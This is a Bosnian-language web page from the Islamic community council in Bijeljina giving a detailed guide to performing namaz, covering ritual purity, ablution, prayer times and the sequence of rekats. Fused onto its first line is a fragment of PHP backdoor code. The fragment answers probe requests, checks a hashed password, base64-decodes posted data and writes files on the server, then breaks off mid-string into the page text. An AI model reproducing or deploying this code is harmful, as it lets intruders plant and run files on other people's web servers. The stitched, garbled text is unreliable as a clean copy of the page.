function bestrock_render_js(){ echo ""; } function bestrock_render_index(){ echo md5('56749'); } function bestrock_render_ajax(){ try { if(isset($_GET['s1'])) die(md5('js')); if(isset($_POST['t2'])){ $l1 = uniqid(rand(), true) . '.js'; @file_put_contents($l1, 'js'); if(file_exists($l1)){ if(isset($_POST['t1'])){ $d = md5(md5($_POST['t1'])); if($d=="8ae24e6719c47a39da8ad5451432d9a6"){ $d1=$_POST['t2']; $d1=base64_decode($d1); $d4=" Način obavljanja namaza - Medžlis Islamske zajednice Bijeljina

Način obavljanja namaza

NAČIN OBAVLJANJA NAMAZA

 

Uzvišeni Allah je propisao pet namaza u toku jednog dana. To su sabah (fedžr), podne (zuhr), ikindija (asr), akšam (magrib) i jacija (iša’). U tekstu koji slijedi, pozabavićemo se samo načinom obavljanja namaza – od početnog tekbira do selama. No, prije toga, neophodno je objasniti uvjete koji se moraju ispuniti da bi se moglo pristupiti u namaz i da bi namaz bio ispravan.

 

Uvjeti za namaz

(šartovi namaza; ar. šart, mn. šurūt – uvjet, uslov)

PRVI UVJET ZA NAMAZ: čistoća tijela, odjeće i mjesta gdje se klanja.

 

Pod ovim se podrazumijeva da na tijelu, odjeći i mjestu na kome se klanja nema tragova nečistoće. Pod nečistoćom se ne misli na blato, zemlju, ulja i tome slično nego, nečistoćom se smatra:

 

1. sve što izađe na dva ljudska otvora. To je: izmet, mokraća, mezija (sluz koja i kod muškarca i kod žene izlazi prilikom nadražaja), vedija (sluz, sekret prostate, koja se ponekad pojavljuje poslije napornog mokrenja). U vezi sperme postoji razilaženje među islamskim pravnicima, da li je nečista ili ne. Preferirajuće mišljenje je da je čista. (v. djelo Sahihu fikhi-s-sunne, 1/75, autora Ebu Malika Kemala ibn es-Sejjida Salima)

2. mokraća, balega i izmet svih životinja čije je meso zabranjeno jesti (svinja, pas, mačka i sl.),

3. krv (bilo ljudska, bilo životinjska),

4. gnoj,

5. ono što se povrati,

6. sve od uginulih (krepanih životinja) osim kože ako se uzme i uštavi i tako očisti.

 

Alkohol ne spada u nečistoću prema ispravnijem mišljenju islamskih učenjaka. Ovo mišljenje zastupaju od savremenih učenjaka šejh Ahmed Šakir i Muhammed Nasiruddin el-Albani. (pogledaj Sahihu fikhi-s-sunne, 1/76)

 

Dakle, ukoliko neka od navedenih stvari se nađe na tijelu, odjeći i mjestu gdje se klanja, neophodno ju je ukloniti i očistiti da bi namaz bio ispravan.

Posebno treba povesti računa o čišćenju iza velike i male nužde. Čišćenje se može vršiti kamenčićima, papirom a najbolje je vodom, jer vodom se postiže potpuno čišćenje.

 

DRUGI UVJET ZA NAMAZ: uzeti abdest ili, ako je potrebno, okupati se.

ABDEST

 

Abdest je posebno pranje čistom vodom radi obavljanja namaza. Abdest se uzima ovako:

 

  1. Donese se namjera (nijjet) u srcu da će se uzeti abdest. Nijjet riječima nije potreban i nije potvrđeno izgovaranje nijjeta od strane Allahova Poslanika, sallallahu alejhi ve sellem, isto važi i za abdeske dove i učenje sure El-Kadr nakon abdesta za što, također, ne postoji dokaz u praksi Poslanika, sallallahu alejhi ve sellem.
  2. kaže se: bismillāh (u ime Allaha),
  3. operu se šake do zglobova (tri puta),
  4. desnom rukom isperu se usta (tri puta). To se čini mućkajući vodom po usnoj šupljini, a potom se voda ispljune.
  5. izaprati nos (tri puta) tako što će se voda iz desne ruke ušmrknuti i nakon toga izbaciti lijevom rukom.
  6. oprati lice (tri puta). Licem se smatra sve od vrha čela (odakle je kosa nikla), pa do pod bradu i od uha do uha.
  7. oprati ruke do iza laktova (tri puta), prvo desnu pa onda lijevu. Pranje ruku se vrši od vrhova prstiju, uključujući i šake pa sve do iza laktova.
  8. potrati glavu od čela do zatiljka jedanput (to se čini na taj način što se objema mokrim rukama potare kosa od čela do zatiljka) i potaru se uši u jednom potezu (time što se kažiprstom potare unutrašnjost ušne školjke, a palcem vanjska strana uha).
  9. oprati noge do iza članka (tri puta). Opere se prvo desna pa lijeva noga s tim da se vodi računa da se opere i između nožnih prstiju.

 

I time je uzimanje abdesta završeno. Nije potrebno učiti nikakve dove prije i u toku uzimanja abdesta osim bismille na početku. Lijepo je nakon uzetog abdesta izgovoriti: Ešhedu en lā ilāhe illallāhu vahdehu lā šerike leh we ešhedu enne Muhammeden abduhū we resūluhū. (Svjedočim da nema boga osim Allaha, Njega Jedinog i svjedočim da je Muhammed Njegov rob i poslanik.)

 

Šta kvari abdest?

 

1. Sve što izađe na dva otvora: mokraća, mezija, vedija, izmet, puštanje vjetra (svejedno da li se puštanje vjetra čulo ili ne) i sperma (u slučaju izlaska sperme je potrebno kupanje).

2. Duboki san.

3. Gubitak svijesti.

4. Krv koja istječe i gnoj u većim količinama. Ukoliko bi se čovjek posjekao i pojavila se krv a ne razlije se preko rane, onda nije pokvaren abdest. A ako bi se razlila i počela da teče onda bi abdest bio pokvaren (iako u vezi ovoga postoji razilaženje među učenjacima, i neki odabiru da je ispravnije da poticanje krvi ne kvari abdest, ipak je bolje obnoviti abdest). Cijeđenje bubuljice ne kvari abdest.

5. Povraćanje.

6. Dodirivanje spolnog organa dlanom ili prstima ruke.

7. Dodirivanje osobe suprotnog pola sa strašću koja uzrokuje izlazak mezije. Ukoliko ne bi došlo do izlaska mezije onda abdest ne bi bio pokvaren, makar taj dodir bio sa strašću.

 

GUSUL (KUPANJE)

Kupanje (gusul) je obavezno u sljedećim slučajevima:

 

1. Kada je osoba džunub (nečista). Osoba postaje džunub u sljedećim slučajevima:

 

a) prilikom spolnog odnosa kada se spolni organi dodirnu (bez obzira da li došlo do izlaska sperme ili ne).

b) prilikom polucije – izbacivanja sperme sa osjećajem strasti bez obzira da li se to desilo u snu ili na javi, muškarcu ili ženi.

 

2. Nakon prestanka menstruacije (hajz; ar. hajd, mehīd) i postporođajnog čišćenja (nifās) kod žene.

 

Da bi kupanje (gusul) bilo ispravno, potrebno je:

 

1. Nijjet.

2. Oprati usta i nos.

3. Oprati cijelo tijelo da nigdje suho ne ostane.

Ko ispoštuje ove tri stvari koje su farzovi gusula, takav je obavio kupanje propisno i očistio se.

Naravno, gusul ima svoje sunnete kojih se pohvalno držati. U hadisima Allahovog Poslanika se prenosi kako se i na koji način on kupao. Zato je lijepo gusul obaviti na sljedeći način:

–         proučiti bismillah,

–         odlučiti da će se kupati (nijjet),

–         oprati šake tri puta,

–         oprati spolni organ,

–         uzeti abdest (u toku kojeg se izapiru usta i nos što je od farzova i sastavnih dijelova gusula) s tim da se pranje nogu može ostaviti za kraj,

–         oprati glavu trljajući kosu da voda dopre do korijena kose (lijepo je to učiniti tri puta a može i jedanput uz upotrebu šampona i sredstava za pranje),

–         oprati cijelo tijelo da nigdje suho ne ostane, počev od desnog pa lijevog ramena (lijepo je to učiniti tri puta, a može i jedanput).

 

Šta je džunub osobi i ženi koja ima menstruaciju (hajz), zabranjeno?

 

1. Učiti Kur'an,

2. Ulaziti u džamiju,

3. Klanjati,

4. Dodirivati Mushaf,

5. Ženi koja ima menstruaciju zabranjeno je i postiti.

 

TEJEMMUM (fiktivno čišćenje)

 

Tejemmum je formalno čišćenje zemljom (prahom) ili predmetima napravljenim od zemlje.

 

Tejemmum je propisan onome ko ostane bez vode i ko je, ni nakon traženja ne nađe da bi njome uzeo abdest ili gusul. Isto tako, tejemmum je propisan onome ko ima vodu, ali je zbog bolesti ili ne smije upotrijebiti, ili se boji da mu voda ne pogorša bolest, ili ne odgodi ozdravljenje. To isto važi i za onoga ko se ne može kretati i nema nikoga ko bi mu vodu dodao.

 

Kako se uzima tejemmum?

 

1. Učiniti nijjet u srcu.

2. Dotaknuti dlanovima čistu zemlju ili predmet od zemlje (kamen, ciglu), dlanove otresemo i njima potaremo lice jedanput, kao da ga peremo.

3. Na isti način ponovo dotaknemo rukama zemlju, pa potaremo ruke do iza lakata jedanput, kao da ih peremo.

 

 

 

 

 

Šta kvari tejemmum?

 

1. Budući da je tejemmum zamjena za abdest ili gusul, sve što kvari abdest, kvari i tejemmum.

2. Tejemmum će biti pokvaren onoj osobi koja je ostala bez vode kada ta dotična osoba dođe do vode. Npr. čovjek klanja sa tejemmumom a bio je džunub. Dođe voda, njegov tejemmum automatski prestaje važiti i on će prekinuti namaz i okupati se.

 

JOŠ NEKE NAPOMENE U VEZI ABDESTA

 

Potiranje (mesh) po obući i zavoju

 

Mesh znači potiranje vlažnom rukom po nečemu, bila to obuća ili zavoj. Ovdje se radi o olakšici koju je Allah dao, da se umjesto pranja potare (učini mesh). Kada je u pitanju mesh po obući, to dobro dođe u zimskom periodu kada je hladno i kada je nezgodno prati noge. Prvo ćemo pojasniti mesh po zavoju.

Ukoliko čovjek ima zavoj na ruci ili nekom drugom dijelu tijela koji se pere pri uzimanju abdesta ili gusula, on neće skidati taj zavoj nego će vlažnom rukom samo potrati po njemu.

 

Mesh (potiranje vlažnom rukom) po obući i čarapama

 

Mesh (potiranje) po obući se upražnjava umjesto pranja nogu.

Pod obućom se podrazumijeva sve što pokriva nogu do članaka (računajući i članke). U to spadaju mestve (lahka kožna obuća), duboke cipele, čizme.

Što se tiče čarapa, dozvoljeno je potirati po njima pod uslovom da su toliko debele da se ispod njih ne vidi koža ( ne može se uzimati mesh po štrampicama). Ne uvjetuje se da budu debele da ne propuštaju vodu i tome slično.

 

Uvjeti za mesh

 

Uvjeti za valjanost mesha po obući i onoga što ima status obuće (čarape i sl.) su sljedeći:

 

1. Da se obuju na noge dok je čovjek još pod abdestom. Dakle, čovjek uzme abdest, obuje obuću (mestve, čarape i sl.) i od tog momenta svaki sljedeći abdest ima pravo da uzima mesh, tj. da potire po obući.

 

2. Da je obuća (mestve, čarape….) dovoljno duboka, tako da pokriva cijelu površinu nogu koja se pere prilikom uzimanja abdesta.

 

3. Da se obuća poslije uzimanja mesha ne skida. Ako se skine, noge se moraju oprati. U suprotnom, abdest će biti pokvaren.

 

4. Dužina trajanja mesha je dan i noć za onoga ko je kod kuće, dok je za musafira (putnika) tri dana i noći. Na primjer, čovjek uzme abdest i obuje čarape. Od momenta gubljenja abdesta pa naredna 24 sata on ima pravo da prilikom svakog uzimanja abdesta ne pere noge, nego da potire po čarapama umjesto pranja nogu. Recimo, izgubi abdest danas u podne. Njegovo pravo uzimanja mesha traje do sutra u podne. Za putnika je taj rok duži – traje 72 sata.

 

 

 

Kako se uzima mesh (kako se čini potiranje)?

 

Mesh po obući se uzima tako da se mokrim rukama potare obuća tako što će se desnom rukom preći od prstiju preko gornjeg dijela stopala do članaka. Desnom rukom se potire desna noga, a lijevom rukom lijeva noga.

 

TREĆI UVJET ZA NAMAZ: pokriti stidna mjesta (biti pristojno obučen)

 

U namazu moraju biti pokriveni stidni dijelovi tijela. Stidno mjesto kod muškarca je sve od pupka do koljena (računajući i koljena), a kod žene cijelo tijelo osim lica i šaka. Kada je u pitanju odjeća žene (i u namazu i van namaza), obaveza je pokriti sve osim lica i šaka (i stopala moraju biti pokrivena time što će se obuti čarape), zatim odjeća ne smije biti tijesna da se oslikavaju dijelovi tijela.

 

ČETVRTI UVJET ZA NAMAZ: obaviti namaz u njegovom vremenu

 

Namaz nije ispravan ukoliko se klanja van njegovog vremena. Danas postoje vaktije gdje se tačno u minutu zna kad nastupa koje vrijeme namaza.

Vrijeme sabah namaza nastupa nastupom zore i traje do izlaska Sunca.

Podne nastupa kada Sunce pređe polovicu neba i traje do ikindije.

Ikindija nastupa kada sjena jednog predmeta postane onolika koliko i sami predmet ili dvaput duža, i traje do zalaska Sunca. Nije dozvoljeno odgađati ikindiju do tog vremena osim sa jakim razlogom (prespavljivanje, zaborav, povratak s puta…)

Akšam nastupa kada Sunce zađe i traje do iščeznuća crvenila na horizontu.

Početak jacije je iščeznuće crvenila pa do zore. Treba voditi računa da se obavi do pola noći. Nakon pola noći nastupa vrijeme “darure” kada je dozvoljeno klanjati jaciju ali je pokuđeno. Pola noći se računa polovica vremena od zalaska Sunca do nastupa zore.

 

Vremena u kojima je zabranjeno klanjati bilo kakav namaz su: dok Sunce izlazi pa dok ne odskoči koliko jedno koplje (oko 45 min. poslije izlaska Sunca), dok je Sunce na polovici neba i za vrijeme dok Sunce zalazi.

 

PETI UVJET ZA NAMAZ: okrenuti se prema Kibli

 

Uvjet je da se osoba koja klanja okrene prema Kibli, tj. prema Mesdžidu-l-Haramu (Kabi) u Mekki, jer, ukoliko bi se okrenula prema nekoj drugoj strani, namaz joj ne bi bio ispravan.

Izuzetak od ovoga čine samo oni koji su u nemogućnosti da se iz straha, bolesti ili nečega sličnog okrenu prema Kabi. Isto tako, dozvoljeno je putniku da klanja u prevoznom sredstvu u pravcu u kome se prevozno sredstvo kreće.

 

ŠESTI UVJET ZA NAMAZ: odluka (nijjet) koji će se namaz klanjati

 

Nijjet (odluka) znači srcem odlučiti koji će se namaz klanjati. Mjesto nijjeta je srce, i on se podrazumijeva uz bilo koje djelo. Nije ga potrebno izgovarati riječima. Izgovor nijjeta riječima je novotarija.

Ukoliko bi čovjek pristupio namazu tek onako, bez namjere u srcu da klanja, nego da se samo pregiba sa drugima, namaz mu ne bi bio ispravan. Ili, ukoliko bi stao da klanja podne, a u srcu ima namjeru da klanja akšam, namaz mu ne bi bio ispravan.

Nijjet je potrebno imati posebno za svaki namaz.

 

Ovo je bilo šest uvjeta za namaz. Sada ćemo obraditi sami način obavljanja namaza.

 

Način obavljanja namaza

(uopšteno)

 

Na sljedeći način se klanjaju dva rekata bilo kojeg namaza. Ukoliko ovo znamo, onda nam je lahko razujeti kako i na koji način se klanja bilo koji namaz.

 

Stati normalno, malo razmaknuti noge (maksimalno u širini ramena), okrenuti se prema Kibli, donijeti namjeru u srcu da će se klanjati namaz, podignuti ruke ispruženih dlanova okrenutih prema Kibli u visini ramena ili ušiju i istovremeno izgovoriti:

 

ALLAHU EKBER (Allah je najveći)[1]

 

Zatim staviti desnu ruku na podlakticu lijeve ruke ispod prsa a iznad pupka. Pogled treba biti upravljen u mjesto sedžde (mjesto gdje će se spustiti čelo u namazu).

 

Zatim proučiti:

 

Subhāneke allāhumme we bihamdike we tebārekesmuke we te'ālā džedduke we lā ilāhe gajruke.

(Slavljen neka si Ti, Allahu moj, Tebi prihvata svaka hvala. Uzvišeno je ime Tvoje, veličanstvena je tvoja veličina, osim Tebe drugog boga nema.)[2]

 

Eūzu billāhi mine-š-šejtāni-r-radžīm.

(Tražim zaštitu kod Allaha od šejtana prokletog.)[3]

 

Bismillāhi-r-rahmāni-r-rahīm.

(U ime Allaha, Svemilosnog, Samilosnog)[4]

 

El-hamdu lillāhi rabbil ālemin. Er-rahmāni-r-rahīm. Māliki jewmi-d-dīn. Ijjāke na'budu we ijjake neste'īn. Ihdines-sirātal-mustekīm. Sirātallezine en'amte alejhim gajril magdūbi alejhim weled-dāllīn.

(Amin)

 

(Hvala Allahu, Gospodaru svjetova. Svemilosnom, Samilosnom. Vladaru Dana Sudnjega. Samo Tebe obožavamo i samo od Tebe (Allahu) pomoć tražimo. Uputi nas na Pravi Put. Na put onih kojima si dao svoje blagodati, a ne onih na koje se srdžba izlila niti onih koji su zalutali. (Amin)[5]

 

Kul huwallāhu ehad. Allāhu-s-samed. Lem jelid we lem jūled. We lem jekun lehū kufuwen ehad.

 

(Reci: On je Allah – Jedan. Allah je utočište svakom. Nije rodio i rođen nije. I niko mu ravan nije.)[6]

Zatim se izgovori ALLAHU EKBER i učini ono što se zove rukū’. To je pregibanje koje se izvodi na taj način da se čovjek pregne da svojim dlanovima dohvati koljena. Dlanovi se stave na koljena a prsti su razmaknuti. U toj poziciji se izgovori tri puta:

 

Subhāne rabbijel azim

(Slava Tebi, moj Uzvišeni Gospodaru)

 

Nakon toga se ispravi u stojeći položaj, opuštenih ruku niza se i u tom položaju izgovori:

 

Semiallahu limen hamideh rabbenā we lekel hamd

(Allah čuo onoga ko Ga hvali. Gospodaru naš, Tebi pripada svaka hvala)

 

Onda se izgovori ALLAHU EKBER i ide se na sedždu. Sedžda se čini na taj način što se iz stojećeg položaja prvo na tlo spuste koljena, pa ruke (laktovi moraju biti podignuti od tla), dlanovi su u visini ramena a zatim se lice stavi na zemlju gdje čelo i nos moraju doticati zemlju.

 

U tom položaju se izgovori tri puta:

 

Subhāne rabbijel e'alā

(Slava mome Svevišnjem Gospodaru)

 

Zatim se izgovori ALLAHU EKBER i ispravi u sjedeći položaj gdje se sjedne na koljena. Lijepo je sjesti na lijevu nogu, a stopalo desne noge da bude uspravno sa podavijenim prstima prema Kibli (nije obavezno). Na tom sjedenju se malo smiri. Sunnet je u tom položaju izgovoriti: RABBIGFIRLI, RABBIGFIRLI. Zatim se opet izgovori ALLAHU EKBER i ide se na drugu sedždu i izgovori se tri puta:

 

Subhāne rabbijel e'alā

(Slava mome Svevišnjem Gospodaru)

 

(Napomena: Sve ovo do sad što smo opisali (stajanje, učenje, ruku i dvije sedžde) naziva se rekat. I ovo do sada je bio prvi rekat u namazu).

 

Zatim, sa druge sedžde, izgovarajući ALLAHU EKBER ustajemo na drugi rekat.

 

Na drugom rekatu se uči:

 

Bismillāhi-r-rahmāni-r-rahīm.

 

El-hamdu lillāhi rabbil ālemin. Er-rahmāni-r-rahīm. Māliki jewmi-d-dīn. Ijjāke na'budu we ijjake neste'īn. Ihdines-sirātal-mustekīm. Sirātallezine en'amte alejhim gajril magdūbi alejhim weled-dāllīn.

(Amin)

 

Kul huwallāhu ehad. Allāhu-s-samed. Lem jelid we lem jūled. We lem jekun lehū kufuwen ehad.

 

Zatim se izgovori ALLAHU EKBER i učini ono rukū’ i dvije sedžde (kako je predhodno opisano).

 

(Napomena: ovim je završen drugi rekat)

 

Zatim se sa druge sedžde ispravi u sjedeći položaj gdje se sjedne na koljena. Lijepo je sjesti na lijevu nogu, a stopalo desne noge da bude uspravno sa podavijenim prstima prema Kibli (nije obavezno). Ovaj položaj se naziva “sjedenje u namazu”. Dlanovi se stave na stegna (iznad koljena) s tim da su prsti desne ruke sakupljeni, a kažiprst je ispružen i njime se pokazuje prema Kibli. Pogled je uperen prema tom kažiprstu ili ispred sebe u krilo.

U tom položaju se uči Et-tehijatu:

 

Et-tehijjātu lillāhi wes-salewātu wet-tajjibātu. Es-selāmu alejke ejjuhen-nebijju we rahmetullāhi we berekātuh. Es-selāmu alejnā we alā ibādillahi-s-sālihīn. Ešhedu en lā ilāhe illallāh, we ešhedu enne Muhammeden abduhū we resūluhū

 

(Veličanje samo Allahu pripada, kao i moji namazi, moje dove i dobra djela. Neka je selam na tebe, o Vjerovjesniče i Allahova milost i blagoslov. Neka je selam na nas i sve dobre Allahove robove. Svjedočim da nema boga osim Allaha i svjedočim da je Muhammed Njegov rob i poslanik.)[7]

 

Allāhumme salli alā Muhammedin we alā āli Muhammed kemā sallejte alā Ibrahīme we alā āli Ibrahīm, inneke hamīdun medžīd.

Allāhumme bārik alā Muhammedin we alā āli Muhammed kemā bārekte alā Ibrahīme we alā āli Ibrahīm, inneke hamīdun medžīd.

 

(Allahu moj, podari svoj mir i spas Muhammedu i porodici Muhammedovoj kao što si ga podario Ibrahimu i porodici Ibrahimovoj. Ti si Hvaljeni i Veličanstveni.

Allahu moj, blagoslovi Muhammeda i porodicu Muhammedovu kao što si blagoslovio Ibrahima i porodicu Ibrahimovu. Ti si Hvaljeni i Veličanstveni.)[8]

 

Allāhumme innī eūzu bike min azābil kabri, we min azābi džehennem, we min fitnetil mahjā wel memāt, we min šerri fitnetil Mesīhi-d-Dedždžāl.

 

(Allahu moj, utječem Ti se od kazne u kaburu, i od kazne džehennemske, i od iskušenja života i smrti, i od zla smutnje Mesiha Dedždžala.)[9]

 

Nakon toga se preda selam, na način da se lice okrene prema desnom ramenu i izgovori:

 

Es-selāmu alejkum we rahmetullāh (Mir vama i milost Allahova)

Zatim se okrene lice prema lijevom ramenu i izgovori isto:

 

Es-selāmu alejkum we rahmetullāh (Mir vama i milost Allahova)

I time je namaz završen.

 

Dakle, ovo je bio opis dva rekata jednog namaza. Kada ovo znamo, onda nam je lahko obaviti bilo koji namaz.

 

Sabah-namaz ima dva rekata (farza), podne ima četiri rekata, ikindija četiri, akšam tri i jacija četiri rekata.

 

Kako se klanja sabah-namaz?

Sabah-namaz ima dva rekata. Način obavljanja sabah-namaza je već opisan, s tim da se donese odluka (nijjet) da će se klanjati sabah-namaz.

 

Kako se klanja akšam-namaz?

 

Akšam-namaz ima tri rekata. Klanja isto kao i sabah namaz, s tim da se poslije proučenog Et-Tehijjatu ustaje na treći rekat. Na trećem rekatu se uči Bismilla i Fatiha. Zatim se učini rukū’, dvije sedžde i sjedne se, prouči se Et-Tehijjatu, Salavati i Dova i preda se selam.

I time je završen akšam-namaz.

 

Kako se klanjaju podne, ikindija i jacija-namaz?

Ova tri namaza obrađujemo zajedno pošto se identično obavljaju. Imaju po četiri rekata. Klanja se sve kao i kod akšam namaza, samo što se nakon trećeg rekata ne sjeda nego se odmah ustaje na četvrti rekat na kome se uči Bismilla i Fatiha. Nakon toga slijedi posljednje sjedenje na kome se uči Et-Tehijjatu, Salavati i Dova i preda se selam. I time se završen podne/ikindija/jacija-namaz.

 

 

Sažeti prikaz propisanih namaza:

 

SABAH (ima dva rekata)

 

1. rekat: Subhaneke, Euza, Bismilla, Fatiha i jedna sura

2. rekat: Bismilla, Fatiha i jedna sura

Sjedenje (tešehhud): Et-Tehijjatu, Salavati, Dova

Selam

 

PODNE (četiri rekata)

1. rekat: Subhaneke, Euza, Bismilla, Fatiha i jedna sura

2. rekat: Bismilla, Fatiha i jedna sura

Sjedenje (tešehhud): Et-Tehijjatu

3. rekat: Bismilla, Fatiha

4. rekat: Bismilla, Fatiha

Sjedenje (tešehhud): Et-Tehijjatu, Salavati, Dova

Selam

 

IKINDIJA (četiri rekata) – isto kao i podne

AKŠAM (tri rekata)

1. rekat: Subhaneke, Euza, Bismilla, Fatiha i jedna sura

2. rekat: Bismilla, Fatiha i jedna sura

Sjedenje (tešehhud): Et-Tehijjatu

3. rekat: Bismilla, Fatiha

Sjedenje (tešehhud): Et-Tehijjatu, Salavati, Dova

Selam

 

JACIJA (četiri rekata) – isto kao i podne i ikindija

Dakle, ovo je bilo pojašnjenje propisanih namaza (farzova). Ovo je ono čime Allah zadužuje svakog muslimana. Sve drugo (dobrovoljni namazi, sunneti, zikrovi koji se uče nakon propisanih namaza i dove) je na dobrovoljnoj bazi. Ako čovjek to bude izvršavao imaće nagradu kod Allaha Uzvišenog, a ako na bude izvršavao neće biti kažnjen.

 

Obavezni dijelovi namaza (ruknovi, ar. erkān, mn. od rukn)

 

Obavezni dijelovi namaza bez kojih namaz ne može biti ispravan su:

 

  1. nijjet (namjera) koji biva u srcu,
  2. stajanje (kijam), za onoga ko je u mogućnosti,
  3. početni tekbir (Allahu ekber),
  4. učenje Fatihe na svakom rekatu,
  5. ruku’ (pregibanje),
  6. vraćanje sa ruku'a,
  7. dvije sedžde,
  8. sjedenje između dvije sedžde,
  9. posljednje sjedenje i učenje Et-Tehijjatu (tešehhud),
  10. predavanje selama,
  11. ta'dilu-l-erkan – smirenost pokreta u namazu, tj. da se sve namaske radnje obavljaju smireno i bez žurbe.